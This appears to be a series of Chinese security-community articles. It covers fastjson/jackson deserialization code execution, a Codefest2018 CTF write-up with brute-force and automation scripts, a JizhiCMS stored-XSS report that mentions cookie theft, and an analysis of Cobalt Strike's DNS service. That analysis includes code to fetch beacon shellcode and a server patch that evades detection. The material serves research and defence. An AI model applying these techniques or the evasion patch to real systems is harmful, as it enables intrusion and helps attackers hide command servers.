classloader会先把它解码成一个byte[]，然后调用defineClass返回Class，也就是evil
具体我们跟一下代码逻辑，如图所示
这里会开始调用com.sun.org.apache.bcel.internal.util.ClassLoader的loadClass加载类，如图所示
这里判断classname如果经过了BCEL编码，则解码获取Class文件，如图
此刻内存中evil.class文件的结构，如图所示
继续跟踪后面的逻辑，如图
这里调用defineClass还原出evil.class中的evil类，因为使用static{}，所以在加载过程中代码执行。
OK
回到fastjson漏洞逻辑，因为控制了Class.forName加载的类和ClassLoader，所以可以通过调用特定的ClassLoader去加载精心构造的代码，从而执行我们事先构造好的class文件，从而达到执行任意代码的目的。
#### 0x03 jackson利用
jackson的反序列化命令执行跟fastjson类似，也似注入一个精心构造的pwn.class文件，最后通过newInstance实例对象触发代码执行。这里先给出pwn.java的源码，如图所示：
然后写了一个Demo，触发漏洞，代码如下
jackson类似fastjson可以通过type属性，设置变量的值，但是不同时jackson默认不开启type，需要mapper.enableDefaultTyping()设置开启。
当readValue这段json的时候，触发命令执行漏洞，下面调试一下关键步骤，如图
这里defineTransletClasses会解码transletBytecodes成byte[]，并执行defineClass得到foo.pwn这个类，然后在后面执行newInstance导致static{}静态代码块儿执行，如图
成功触发，如图所示
#### 0x04 总结
利用defineClass在运行时状态下，将我们精心构造的class文件加载进入ClassLoader，通过java的static{}特征，导致代码执行。
以上测试代码全部保存在： <https://github.com/genxor/Deserialize.git>
#### 0x05 关于我们
阿里安全归零实验室成立于2017年11月，实验室致力于对黑灰产技术的研究,愿景通过技术手段解决当前日益严重的网络违规和网络犯罪问题，为阿里新经济体保驾护航。实验室与寄生在阿里生态经济体的黑灰产直面技术对抗，以打造一流的以情报驱动的黑灰产情报体系能力，看清黑灰产风险、领先黑灰产、演练风险为愿景，重点研究业务安全和数据安全领域中黑灰产风险事件背后的产业链和手法，解决相关风险问题。以情报外部视角切入，在多个安全风险领域内均取得了不错的成绩；以蓝军真实黑灰产视角，模拟黑灰产进行演练攻击，检验防线，为阿里巴巴经济体保驾护航贡献了一份独特的力量。
目前团队也在不断的招聘各种优秀人才，研发专家、数据分析专家、情报分析与体系化专家等，欢迎加盟，联系邮箱
联系：[email protected]
* * * | 社区文章 |
# Codefest2018 writeup
##### 译文声明
本文是翻译文章，文章来源：github.io
原文地址：<https://jianghuxia.github.io/2018/09/03/Codefest2018-CTF/>
译文仅供参考，具体内容表达以及含义原文为准。
> 本文转载自:
> [github.io](https://jianghuxia.github.io/2018/09/03/Codefest2018-CTF/)
> 如若转载,请注明出处： <https://jianghuxia.github.io/2018/09/03/Codefest2018-CTF/>
实在是太无聊了，找了找比赛打，`Codefest2018`这个感觉跟以往的ctf比赛不同，感觉更偏向代码能力的考查，以下是这次自己做出来的题目writeup，比赛题目一共`15`道，菜鸡一枚，只做出`10`道。
## Freebies
### problem
This one’s simple. Join the [Slack
channel](https://www.hackerrank.com/external_redirect?to=https://join.slack.com/t/codefest-ctf-18/shared_invite/enQtNDI2MjY1NDcyNDA2LTdiNTczZWUxMjJkZWUwMmQ5MTIxNzMzNDMwMjU5ZTU5MWFlYzU1MjY0MTE2NWI4ZTEyMWFkMTNlYzg3MTAxMTQ)
to get the flag.
这题算是签到题，但也是寻找了好一番，就不放答案了
## Fortune Cookie
### problem
H4k3r has heard that there is a secret hidden behind this
[website](https://www.hackerrank.com/external_redirect?to=http://34.216.132.109:8084/),
but he is confused as to how to get access to it. Can you help him
这题，呃，很简单，该下cookies(说着简单，最后试了半天才发现是admin，不是Admin)
`Who are you?=admin`即可
## Typing Master
### problem
If you think you have it in you, connect now to 34.216.132.109 9093 and prove
your mettle.
You will be presented with a simple typing task which is meant to check your
typing speed.
For example, _Can you type ‘Z’ 10 times followed by ‘u’ 6 times, followed by
the sum of their ASCII values?_
ZZZZZZZZZZuuuuuu207
### Input Format
**Regarding input to the server** – The question was designed keeping netcat
in mind. Some users who are using other tools/language (eg, Python, PuTTY,
TELNET) to connect to the server please note that they do not terminate the
strings like netcat does. If you choose not to use netcat, the message you
send to our server should terminate with a trailing newline (‘n’) and nothing
else.
nc下,先看看大概是啥样子的
发现每次访问，要求的都不一样，甚至返回的字符串也不一样，想了想，觉得还是一个脚本的事，需要正则一下即可
脚本如下：
#-*-coding:utf-8
from pwn import *
import re
conn=remote('34.216.132.109',9093)
text=conn.recv()
print text
result = re.findall(r"'(w)' (d*)", text)
#print result
#print result[0][0]
#print result[0][1]
str1=(result[0][0] * int(result[0][1]))
str2=(result[1][0] * int(result[1][1]))
str3=(str(ord(result[0][0]) + ord(result[1][0])))
S = ''.join(str1+str2+str3)
print S
conn.sendline(S)
print conn.recv()
运行结果
最终答案：`CodefestCTF{1_s33_y0u_4r3_a_m4n_0f_sp33d}`
## Web BooK
### problem
It is expected to complete reading a book/novel to pass the course, but the
students being clever avoid reading the whole book by going through the
summary only. Santosh(their course teacher) comes up with a new idea, he
creates a magic book (you can only go to next page, that is: you can’t go to
next page without reading the previous one and so on, and you can only start
from the beginning). It is know that the flag is hidden somewhere in the book,
so the only way to pass the course is to read the whole book, find the flag.
The book has 1000 pages so better be fast. And if you are lucky, you may even
find the key on the very first page itself. [link to
Web_BooK](https://www.hackerrank.com/external_redirect?to=http://34.216.132.109:8083/fp/)
打开网站，发现如下页面，点击next发现，都是没有规则的url
没办法，只能简单爬虫脚本写下，源码如下
#-*-coding:utf-8
import requests
import re
url = 'http://34.216.132.109:8083'
page = '/fp/'
s = requests.Session()
counter = 0
while (True):
counter += 1
r = s.get(url + page)
page_text = r.text
print page_text
page = re.findall('action="(.*?)"', page_text)[0]
print page, counter
运行下
## Access Denied?
### problem
A school IT staff manages access to secure files by the method of access code.
You are required to give your name and the access code, and the program will
give out secret information.
It checks whether you already have an access code, generates new random one
along with a new user ID alloted to the user, if that user is not found
locally on the system. The access codes are known to have random expiration
time (don’t know what goes on in their minds!), so don’t be surprised if you
generated an access code just seconds ago and next time the same access code
doesn’t work.
Johnny decided to go into the IT room and copy the program into his pendrive.
You can find it
[here](https://www.hackerrank.com/external_redirect?to=https://drive.google.com/open?id=1KGoBbSNViJS8aZsh1Jjp8XbESv0E-Z4t).
Can you get the secret information out from the program? The service runs on
34.216.132.109 on port 9094.
### Constraints
User ID / UID will be a positive integer
这题给了个school.py
#-*-coding:utf-8
import random
import user_functions
user = raw_input("Enter your name: ")
if not user_functions.exists(user):
# generate a code
count_ = user_functions.generateID(user)%1000 #User ID/ UID in the table is always positive
generator = "xorshift"
random.seed(generator)
count = 0;
for ch in user:
ra = random.randint(1, ord(ch))
rb = (ord(ch) * random.randint(1, len(user))) ^ random.randint(1, ord(ch))
count += (ra + rb)/2
code = 1
for i in range(1,count+count_):
code = (code + random.randint(1, i) ) % 1000000
final = random.randint(1,9) * 1000000 + code
#store it in the database
user_functions.store(user, final)
else:
#if user already exists, fetch access code
final = user_functions.get_code(user)
code = raw_input("Enter your access code: ").strip()
while True:
if code.isdigit():
if (int(code) == final):
print "The flag is " + user_functions.get_flag(user)
exit()
else:
print "Incorrect access code"
else:
print "The code must be an integer"
code = (raw_input("nPlease enter the code: "))
print "n###############################################"
乍一看好像挺复杂的，其实不然，只需要爆破即可，简单分析下
起始变量`count`
是由我们输入的`user`确定的。如果我们每次测试时都提供相同的`user`，那么最终`count`变量也都是不变的；而`count_`变量嘛，虽然不知道到底是什么嘛，但是模`1000`得到的结果只可能是`[0,999]`；而`code`呢？由于`code`种子`xorshift`生成的，我们可以根据`count_`遍历`code`。只需要稍微改改给的school.py我们就可以暴力跑出答案。
核心代码其实也就是下面这个：
for i in range(0,1000):
count_ = i
# the seed is always the same
generator = "xorshift"
random.seed(generator)
count = 0;
for ch in user:
ra = random.randint(1, ord(ch))
rb = (ord(ch) * random.randint(1, len(user))) ^ random.randint(1, ord(ch))
count += (ra + rb)/2
code = 1
for i in range(1,count+count_):
code = (code + random.randint(1, i) ) % 1000000
final = random.randint(1,9) * 1000000 + code
完整代码如下：
#-*-coding:utf-8
from pwn import *
import sys
list_code = []
user = 'jianghu'
for i in range(0,1000):
count_ = i
generator = "xorshift"
random.seed(generator)
count = 0;
for ch in user:
ra = random.randint(1, ord(ch))
rb = (ord(ch) * random.randint(1, len(user))) ^ random.randint(1, ord(ch))
count += (ra + rb)/2
code = 1
for i in range(1,count+count_):
code = (code + random.randint(1, i) ) % 1000000
final = random.randint(1,9) * 1000000 + code
list_code.append(final)
print list_code
con = remote('34.216.132.109',9094)
con.recvuntil('Enter your name: ')
con.sendline(user)
for i in list_code:
text = con.recv()
if 'flag' not in text:
con.sendline(str(i))
else:
print text,i
sys.exit()
运行结果如下
最终答案：`CodefestCTF{1_s33_y0u_4r3_a_m4n_0f_r4nd0mn3ss}`
## It’s Magic
### problem
Repair given corrupted file to get the flag. [download file
here](https://www.hackerrank.com/external_redirect?to=https://drive.google.com/file/d/10O4w6rtsUiCspM94qdXqvHeTj-4O0RfX/view?usp=sharing)
下载完毕后，拖到winhex里，拖到尾部发现`FFD9`，尝试改文件头，发现无效
遂尝试网上搜索在线修复受损图片，找到一个[工具网站](https://online.officerecovery.com/cn/fix-damaged-photo-file-online/)
修复完成后，打开即有flag
最终答案：`CodefestCTF{mAgic_byTes}`
## Hidden Agenda
### problem
Just before getting caught in Russia, MI-6 agent John Stegwal sent a mail to
MI-6 containing two [visually similar
images](https://www.hackerrank.com/external_redirect?to=https://drive.google.com/drive/folders/1GHCN9eIRPtlMA0xGxnr44nY0boo-6DOx?usp=sharing).
It is possible that the images contain information on how to access his
findings. Can you find the message he sent?
给了两个`jpg`文件：`image1.jpg`与`image2.jpg`。
先用`StegSolve`将`image1.jpg`与`image2.jpg`来次`xor`，发现有个二维码的痕迹，保存为`solved.bmp`
将`solved.bmp`与`image1.jpg`再来一次MUL，得到一个可扫的清晰二维码
扫出来是个网址`https://drive.google.com/file/d/13chbULOlKaOM_jI8_RaxECZ0xzJUg7Y4/view`，打开后，有张图片，下载下来，打开后可以看到清晰的`flag{`字样，然后，没然后了，这张图片只有`flag{`（那时候看到flag，开心极了，贼坑）
没事，我吃柠檬。谷歌了下，找了找有关`jpg`图片隐写，找到了个`jsteg`，哟，试试
先试试`image1.jpg`，试出东西来了
得到了个`flg.exe`，`winhex`看下，没看懂是啥
`file`下，发现是个`MP3`
改后缀名，听了听，这是鸟叫声？`exm`?拖到`Adobe Audition CC2017`试试，查看了下频谱图
得到最终答案：`CodefestCTF{0b5cur17y > 53cur17y}`
## Thunder
此题给了个流量包`thunder.pcap`，包不大，分析发现好几个`flag.jpg`，但是都是不完整的。
尝试根据`jpg`文件的文件格式来拼图。先导出`http`对象，删除重复的。此题有个坑点，不可以按照分组序号的大小来拼，必须按照`TCP`流所显示的时间依小到大排序，然后拼好即可。
人懒，写了个`bat`脚本`1.bat`
type flag*.jpg>>all.jpg
以下是`all.jpg`
得到最终答案：`CodefestCTF{AP_is_amazing}`
## Polyglot
### problem
Chetu writes code with weird whitespace, and nobody knows why. He uses his own
[C
interpreter](https://www.hackerrank.com/external_redirect?to=https://drive.google.com/open?id=12pZCXtDxvGqZUEzaZ-I_3Md-bPizUILT), which is probably the only thing that can handle his absurd
code. He insists its more secure this way. Since no one ever believes him, he
demonstrated his technique on [this vulnerable
code](https://www.hackerrank.com/external_redirect?to=https://drive.google.com/open?id=17ORWMNSOodeEarjuYDXHswlC_6t_kH_A).
Can you get the flag?
这题贼有意思，贼好玩。题目给了两个文件，但是做这题，我只用了`c`代码的文件，另外一个`elf`都没看。
首先我们看看`c`代码：
会发现，这些数字排序，怎么都是空那么多格子的呢？奇怪，但是突然想起了写`python`脚本时，会因为空格和`tab`混淆而报错，下意识看看这些空白字符是由什么构成的。`Notepad++`有个功能
果然，这些空白字符是由不同的空格字符和制表符组成。尝试先用脚本读读
果然，猜想是正确的，那么现在需要提取下这些空白的字符。想到了正则表达式，其中`s`表示只要出现空白就匹配。但是匹配完后有什么用了？随即想到有没可能是`0`,`1`替换，到时候来个二进制转换`ASCII`可见字符。尝试一波，先匹配试试，然后`‘t’`替换成`1`，`‘
’`替换成`0`，得到了想要的答案
最终答案：`CodefestCTF{sP4c3S AnDtAb5}`
## Intercept
### problem
Garry encrypted a message with his public key and mailed it to Monika. Sure
Garry is an idiot. The intercepted mail is given below as seen from Monika’s
side. Decrypt the message to get the key.
[interceptedMail.eml](https://www.hackerrank.com/external_redirect?to=https://drive.google.com/file/d/1T9mCsfp-QZFnas6scLSUx7cg9yYmT8hH/view?usp=sharing)
下载文件后，发现`eml`中存在`zip`，`base64`解码下
有两个文件，`flag.enc`是密文，但是私钥哪去了呢？其实在下面那个文件里。
其中`Public_Key_Encryption_.docx`实际上是是个压缩包，`winhex`下看到了`PK`的头
改后缀名，解压。寻找一番没找到私钥。最后才发现，在解压文件中`wordmedia`，存在三张图片
其中的`image1.png`的尾部存在私钥
那么，提取出来，保存为`private.pem`
额，`openssl`解密下，执行命令`openssl rsautl -decrypt -in flag.enc -inkey private.pem
-out flag.txt`
最终答案：`CodefestCTF{kristeinStewart_is_5EXY}` | 社区文章 |
## 影响产品/版本：
#### 极致CMS >=v 1.5 <=v 1.7
#### 厂商目前已修复
[见官网更新](http://www.jizhicms.cn "见官网更新")
## 测试过程：
### 黑盒过程：
首先我们在后台创建一个允许用户发布文章的栏目
前台发表文章，xss在标题位置
来到后台，点开标题，成功弹框
成功执行与存储
打COOKIE试试，成功获取cookie
成功获取cookie，因为是本地演示的，所以就不用xss平台来打了
### 白盒过程：
代码审计发现是前端文件article-list.html内的问题
文件article-list.html
191行这里这里没有实体化编码导致的xss漏洞
输出函数未经过滤没有实体化编码
修复建议 1.去掉该功能，很鸡肋。没鸟用
2.在输出函数上实体化编码
3.文章发表那块增加xss等过滤函数
By h4ck | 社区文章 |
**作者：非攻安全团队
原文链接：<https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ>**
Cobalt
Strike，是一款国外开发的渗透测试神器，其强大的内网穿透能力及多样化的攻击方式使其成为众多APT组织的首选。如何有效地检测和识别Cobalt
Strike服务器一直以来都是安全设备厂商和企业安全关注的焦点。
近日，F-Secure的安全研究员发布了一篇文章讲述了如何探测Cobalt Strike DNS重定向服务。其主要探测方式是向Cobalt
Strike服务器发起多个不同域名的查询（包括A记录和TXT记录），然后对比每个查询的返回结果。如果返回结果相同，那么对应的服务器很可能就是潜在的Cobalt
Strike C2服务器。随后，我们对Cobalt Strike DNS 服务代码层面进行了分析，发现了检测Cobalt Strike DNS
服务的另一种方法，并选择在某大型演练活动后进行发布。
### 01 Stager 分析
在对代码分析前，我们有必要通过抓包简单了解Cobalt Strike DNS Beacon与DNS Server的通信过程。DNS
Beacon主要有两种形式。一种是带阶段下载的Stager，另一种是无阶段的Stageless。这里我们主要分析Stager
Beacon，本地搭建的Cobalt Strike版本为4.2，IP地址192.168.100.101，DNS
Listener绑定的域名为ns.dns.com，用到的profile配置如下:
set host_stage "true";
set maxdns "255";
set dns_max_txt "252";
set dns_idle "74.125.196.113"; #google.com (change this to match your campaign)
set dns_sleep "0"; # Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_stager_prepend ".resources.123456.";
set dns_stager_subhost ".feeds.123456.";
运行Stager的Beacon后，通过WireShark可以观察到Beacon与Cobalt Strike的通信过程。捕获的数据看下图:
其中ns.dns.com是Cobalt Strike
Listener中绑定的域名，而.feeds.123456.是我们在profile中配置的dns_stager_subhost值。整个通信的过程中Beacon请求的都是TXT记录。
通过nslookup请求aaa.feeds.123456.ns.dns.com的TXT记录，查看返回结果可以看到传输的数据都在text字段中，而数据开头的.resource.123456.是我们profile中dns_stager_prepend的值。
进一步分析后发现，Beacon请求的第一个域名是aaa.feeds.123456.ns.dns.com，然后是baa.feeds.123456.ns.dns.com，随后按照一定顺序发出大量的TXT记录查询，直到最后一个请求tkc.feeds.123456.ns.dns.com。请求顺序可以表示如下：
aaa.feeds.123456.ns.dns.com
baa.feeds.123456.ns.dns.com
:
zaa.feeds.123456.ns.dns.com
aba.feeds.123456.ns.dns.com
cba.feeds.123456.ns.dns.com
:
zba.feeds.123456.ns.dns.com
aca.feeds.123456.ns.dns.com
cca.feeds.123456.ns.dns.com
:
zza.feeds.123456.ns.dns.com
aab.feeds.123456.ns.dns.com
cab.feeds.123456.ns.dns.com
:
tkc.feeds.123456.ns.dns.com
不难发现，每次请求域名中的第一个子域都是固定三个字母，并按照一定顺序进行排列。排列规则看起来是包含26个字母的集合连续进行了2次笛卡尔积。所以很容易就可以模拟Stager
Beacon从Cobalt Strike DNS服务请求数据。
def stager():
buff = ""
str1 = 'abcdefghijklmnopqrstuvwxyz'
resolver = dns.resolver.Resolver()
resolver.nameservers = ['192.168.100.101']
for i in product(str1, str1, str1):
dnsc = '{0}.feeds.123456.ns.dns.com'.format(''.join(i[::-1])).strip()
try:
text = resolver.resolve(dnsc, 'txt')[0].to_text().strip('"')
except NoNameservers:
break
except:
return
if text=="":
break
#time.sleep(0.3)
buff = buff + text
return buff
查询结束后，将得到的数据进行拼接，最终数据可简单表示如下：
.resources.123456.WYIIIIIIIIIIIIIIII7QZjAX...8ioYp8hnMyoYoIoAAgogoJAJAJAJAJAJAJAJAJAENFKFCEFOIAAAAAAAAFLIJNPFFIJOFIBMDPPHJAAAAPPNDGIPALFKCFGGIAEAAAAAAFHPPNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAAAAAAAHKDPGLIOCHPPLNKGNJINHEIMMEABKBEIKCFPBOAOAHDDPPFPKOGFBCDFFODANEJGBDANKODPGJIIIIPDDCODOGNCBLCMHHMPCEBNBMJKCF...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
由于数据并不直观，所以还需要逆向Cobal
Strike的jar包源代码还原数据处理的过程。在使用Idea反编译后，可以直接定位到加密的入口是在beacon\beaconDns.java中的setPayloadStage()函数，而传入的数据var1则是DNS
Beacon的Shellcode，也就是Stager Beacon请求的最终数据。
public void setPayloadStage(byte[] var1) {
this.stage = this.c2profile.getString(".dns_stager_prepend") + ArtifactUtils.AlphaEncode(var1);
}
setPayloadStage()函数首先获取的是profile中dns_stager_prepend值，也就是.resource.123456.，然后调用了AlphaEncode()函数加密Shellcode并与前面获取的值拼接。
跟进AlphaEncode()函数发现其位于common\BaseArtifactUtils.java
public static String AlphaEncode(byte[] var0) {
AssertUtils.Test(var0.length > 16384, "AlphaEncode used on a stager (or some other small thing)");
return _AlphaEncode(var0);
}
public static String _AlphaEncode(byte[] var0) {
String var1 = CommonUtils.bString(CommonUtils.readResource("resources/netbios.bin"));
var1 = var1 + "gogo";
var1 = var1 + NetBIOS.encode('A', var0);
var1 = var1 + "aa";
return var1;
}
可以看到，对Shellcode只是进行简单的NetBios编码，编码后再和固定字符拼接。所以我们只需将字符串aa和gogo中间部分的数据提取出来进行NetBios解码便可以得到Shellcode。
以上过程很容易就可以用Python实现，可以参考如下代码:
import time
from dns.resolver import *
from itertools import *
def stager():
buff = ""
str1 = 'abcdefghijklmnopqrstuvwxyz'
resolver = dns.resolver.Resolver()
resolver.nameservers = ['192.168.100.101']
for i in product(str1, str1, str1):
dnsc = '{0}.feeds.123456.ns.dns.com'.format(''.join(i[::-1])).strip()
try:
text = resolver.resolve(dnsc, 'txt')[0].to_text().strip('"')
except NoNameservers:
break
except:
return
if text=="":
break
#time.sleep(0.3)
buff = buff + text
if "aa" in buff and "gogo" in buff:
f = open("beacon.bin", "wb")
f.write(bytearray(netbios_decode(buff.split('gogo')[-1].split('aa')[0])))
f.close()
def netbios_decode(netbios):
i = iter(netbios.upper())
try:
return [((ord(c)-ord('A'))<<4)+((ord(next(i))-ord('A'))&0xF) for c in i]
except:
return ''
if __name__=="__main__":
stager()
运行上面的Python脚本后会在脚本目录下生成beacon.bin文件，可以直接使用Beacon Parser脚本解析配置，也可以直接使用Shellcode
Loader加载上线。
### 02 特征分析
对代码进一步分析后，我们在beacon/beaconDns.java中还发现了有趣的地方。
public DNSServer.Response respond_nosync(String var1, int var2) {
StringStack var3 = new StringStack(var1.toLowerCase(), ".");
if (var3.isEmpty()) {
return this.idlemsg;
} else {
String var4 = var3.shift();
if (var4.length() == 3 && "stage".equals(var3.peekFirst())) {//判断第二个子域是非为stage
return this.serveStage(var4);
} else {
String var5;
String var6;
if (!"cdn".equals(var4) && !"api".equals(var4) && !"www6".equals(var4)) {
if (!"www".equals(var4) && !"post".equals(var4)) {
if (this.stager_subhost != null && var1.length() > 4 && var1.toLowerCase().substring(3).startsWith(this.stager_subhost)) {
return this.serveStage(var1.substring(0, 3));
} else if (CommonUtils.isHexNumber(var4) && CommonUtils.isDNSBeacon(var4)) {
var4 = CommonUtils.toNumberFromHex(var4, 0) + "";
...
...
}
}
}
}
Cobalt
Strike服务器在处理DNS查询的时候会先对请求域名的前两个子域进行判断，比如请求的域名为aaa.bbb.ccc.com，会判断aaa的长度是不是等于3，bbb的值是不是等于stage。如果都满足就进入serveStage()函数。跟进后发现serveStage()函数也只是简单判断了stage的长度后就返回了请求对应的值。
protected DNSServer.Response serveStage(String var1) {
int var2 = CommonUtils.toTripleOffset(var1) * 255;
if (this.stage.length() != 0 && var2 <= this.stage.length()) {
return var2 + 255 < this.stage.length() ? DNSServer.TXT(CommonUtils.toBytes(this.stage.substring(var2, var2 + 255))) : DNSServer.TXT(CommonUtils.toBytes(this.stage.substring(var2)));
} else {
return DNSServer.TXT(new byte[0]);
}
}
也就是说，当请求的域名以aaa.stage.开头时，Cobalt Strike
服务器会直接响应我们的请求，请求aaa.stage.ns.dns.com等同于请求aaa.feeds.123456.ns.dns.com。
同时，由于Cobalt Strike服务器并没判断请求的域名后缀，当我们可以直接访问Cobalt Strike DNS服务的时候，可以直接忽略DNS
Listener绑定的域名直接请求数据。当然，在profile配置host_stage为true的时候，可以使用将上面的Python代码替换feeds.123456.ns.dns.com为stage.xxx，运行后依然可以下载DNS
Beacon的Shellcode。
当host_stage配置为false的时候，返回的结果有些不一样。
可以看到，Cobalt Strike服务器没有再返回Shellcode的数据，但是对以aaa.stage.开头的域名的TXT记录查询，Cobalt
Strike服务器依旧响应了TXT记录。而其它的域名则像F-Secure研究员发现的那样，返回的是A记录，并且解析的IP就是profile中dns_idle的值。
当请求的域名第一个子域长度不为3开头并且第二个子域不是stage的时候，Cobalt
Strike服务器还会进一步判断域名的第一个子域是否为cdn、api、www6、www、post。
if (var4.length() == 3 && "stage".equals(var3.peekFirst())) {
return this.serveStage(var4);
} else {
String var5;
String var6;
if (!"cdn".equals(var4) && !"api".equals(var4) && !"www6".equals(var4)) {
if (!"www".equals(var4) && !"post".equals(var4)) {
...
} else {
...
}
} else {//当请求域名的第一个子域是cdn、api、www6的时候
var3 = new StringStack(var1.toLowerCase(), ".");
var5 = var3.shift();
var6 = var3.shift();
var4 = CommonUtils.toNumberFromHex(var3.shift(), 0) + "";
if (this.cache.contains(var4, var6)) {
return this.cache.get(var4, var6);
} else {
SendConversation var7 = null;
if ("cdn".equals(var5)) {
var7 = this.conversations.getSendConversationA(var4, var5, var6);
} else if ("api".equals(var5)) {
var7 = this.conversations.getSendConversationTXT(var4, var5, var6);
} else if ("www6".equals(var5)) {
var7 = this.conversations.getSendConversationAAAA(var4, var5, var6);
}
DNSServer.Response var8 = null;
if (!var7.started() && var2 == 16) {
var8 = DNSServer.TXT(new byte[0]);//返回text=“”
} else if (!var7.started()) {
byte[] var9 = this.controller.dump(var4, 72000, 1048576);
if (var9.length > 0) {
var9 = this.controller.getSymmetricCrypto().encrypt(var4, var9);
var8 = var7.start(var9);
} else if (var2 == 28 && "www6".equals(var5)) {
var8 = DNSServer.AAAA(new byte[16]);//返回::
} else {
var8 = DNSServer.A(0L);//返回0.0.0.0
}
} else {
var8 = var7.next();
}
if (var7.isComplete()) {
this.conversations.removeConversation(var4, var5, var6);
}
this.cache.add(var4, var6, var8);
return var8;
}
}
当域名为cdn，www6， api作为第一个子域的时候，Cobalt
Strike服务器会对不同的情况作处理。可以看到，当请求的类型是A记录的时候，Cobalt Strike服务器会返回固定的IP值为0.0.0.0。
当请求的类型是TXT记录的收获，返回的结果中text字段为空。
对于AAAA记录，Cobalt Strike服务器也会返回固定的地址::，只不过只能抓包看到。
由于返回的值都是固定的，同样没有判断域名后缀，所以完全可以拿来作为检测Cobalt Strike服务器的方法。以下是以api关键字作为检测的参考代码:
def checkA(host):
resolver = dns.resolver.Resolver()
resolver.nameservers = [host]
try:
#请求的xxxx.xxx最好是随机的，并多次尝试
ip = resolver.resolve("api.xxxx.xxx", 'A')[0].to_text()
except:
return False
if ip == "0.0.0.0":
return True
return False
当第一个子域为www，post的时候，处理情况又不相同，限于篇幅这里就不分析了，有兴趣的朋友可以自行研究。
### 03 检 测
本地验证没问题后，我们将目标转移到了公网上。为了快速地筛选出潜在的并且开启了DNS Server的Cobalt
Strike服务器，我们可以通过一些关键字在网络空间探测平台中获取初定的目标。
通过分析发现Cobalt Strike返回的A记录中除返回的IP和域名外基本上数据是固定的。从Type字段开始到Data Length字段，Cobalt
Strike每次响应都会返回\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04，后面再接4个字节的IP，这里是0.0.0.0，也就是\x00\x00\x00\x00。如下图：
所以利用这样的特征，在FOFA或ZoomEye上可以很容易地就能找到潜在的开启了DNS 服务的Cobalt
Strike服务器。因为有不少渗透测试人员喜欢把dns_idle设置为8.8.8.8。所以我们将0.0.0.0的IP地址替换为常用的8.8.8.8也就是\x08\x08\x08\x08作为查询关键字，便可以快速地找到潜在的监听了DNS服务的Cobalt
Strike服务器。
导出了IP地址后，并用脚本进行了探测，探测的部分结果如下：
同时也发现了一些开启host_stage的IP，直接下载了DNS Beacon的Shellcode，下面是某IP的检测结果。
### 04 防 御
针对上面提到的特征，可以通过修改beacon/beaconDns.java中的代码，改变respond_nosync()处理请求的流程，增加判断，修改默认的返回值。可参考如下代码(注：该代码是4.2版本的代码，不过笔者本地测过CS最低版本是3.8，最高版本是4.2，代码可能会有差异，但是可以采取同样的方式):
public DNSServer.Response respond_nosync(String var1, int var2) {
StringStack var3 = new StringStack(var1.toLowerCase(), ".");
String dname = var1.toLowerCase().trim().substring(0, var1.length() - 1);
if (var3.isEmpty()) {
return this.idlemsg;
} else {
String var4 = var3.shift();
boolean CheckDname = false;
//增加了判断请求的类型是否为TXT同时验证了域名后缀是否为Listener配置的字符
if (var4.length() == 3 && var2 == 16 && dname.substring(3).startsWith(this.stager_subhost) && dname.endsWith(this.listener.getStagerHost().toLowerCase())) {
return this.serveStage(var4);
} else {
String var5;
String var6;
String[] dnameArray = dname.split("\\.");
String[] dC2Array = this.listener.getCallbackHosts().split(", ");
for (int i=0; i<dC2Array.length; i++){
if (dC2Array[i].endsWith(dnameArray[dnameArray.length - 2] + "." + dnameArray[dnameArray.length - 1])){
CheckDname = true;
}
}
//判断请求的域名后缀是否为绑定的域名后缀
if (!CheckDname){
return this.idlemsg;
}
if (!"cdn".equals(var4) && !"api".equals(var4) && !"www6".equals(var4)) {
if (!"www".equals(var4) && !"post".equals(var4)) {
//增加了判断请求的类型是否为TXT
if (this.stager_subhost != null && var2 == 16&& var1.length() > 4 && var1.toLowerCase().substring(3).startsWith(this.stager_subhost)) {
return this.serveStage(var1.substring(0, 3));
} else if (CommonUtils.isHexNumber(var4) && CommonUtils.isDNSBeacon(var4)) {
var4 = CommonUtils.toNumberFromHex(var4, 0) + "";
...
...
}
}
}else {//当请求域名的第一个子域是cdn、api、www6的时候
var3 = new StringStack(var1.toLowerCase(), ".");
var5 = var3.shift();
var6 = var3.shift();
var4 = CommonUtils.toNumberFromHex(var3.shift(), 0) + "";
if (this.cache.contains(var4, var6)) {
return this.cache.get(var4, var6);
} else {
SendConversation var7 = null;
if ("cdn".equals(var5)) {
var7 = this.conversations.getSendConversationA(var4, var5, var6);
} else if ("api".equals(var5)) {
var7 = this.conversations.getSendConversationTXT(var4, var5, var6);
} else if ("www6".equals(var5)) {
var7 = this.conversations.getSendConversationAAAA(var4, var5, var6);
}
DNSServer.Response var8 = null;
if (!var7.started() && var2 == 16) {
var8 = this.idlemsg;
//var8 = DNSServer.TXT(new byte[0]);返回text=“”
} else if (!var7.started()) {
byte[] var9 = this.controller.dump(var4, 72000, 1048576);
if (var9.length > 0) {
var9 = this.controller.getSymmetricCrypto().encrypt(var4, var9);
var8 = var7.start(var9);
} else if (var2 == 28 && "www6".equals(var5)) {
var8 = this.idlemsg;
//var8 = DNSServer.AAAA(new byte[16]);返回::
} else {
var8 = this.idlemsg;
//var8 = DNSServer.A(0L);返回0.0.0.0
}
} else {
var8 = var7.next();
}
if (var7.isComplete()) {
this.conversations.removeConversation(var4, var5, var6);
}
this.cache.add(var4, var6, var8);
return var8;
}
}
需要注意的是，上面的代码并没有修复域名请求返回的A记录IP固定为dns_idle值的特征。但是我们可以在Cobalt
Strike服务器前面再部署一台正常的DNS服务，如下图，根据请求的域名进行转发，并利用Iptable设置白名单来绕过检测，这里就不详细介绍了。具体可以参考F-Secure发布的文章末尾提到的方法。
### 05 总 结
本篇文章简单分析了Cobalt Strike DNS Beacon与Cobalt Strike 服务之间的通信，并在分析Cobalt Strike DNS
服务的代码中找到了以下的特征：
1. 当Cobalt Strike服务器的profile配置stage_host为true的时候，可以使用带有stage关键字的域名模拟stager下载DNS Beacon的Shellcode。
2. 使用api、cdn、www6作为第一个子域的域名如api.ns.dns.com向Cobalt Strike DNS服务查询A记录时将返回固定ip地址0.0.0.0，查询TXT记录是返回的text字段为空。
3. 当查询时用目标Cobalt Strike的作为名称解析服务器的时候，上述请求可以忽略域名后缀，比如查询api.xxx.xxxx和查询api.ns.dns.com都会返回0.0.0.0。
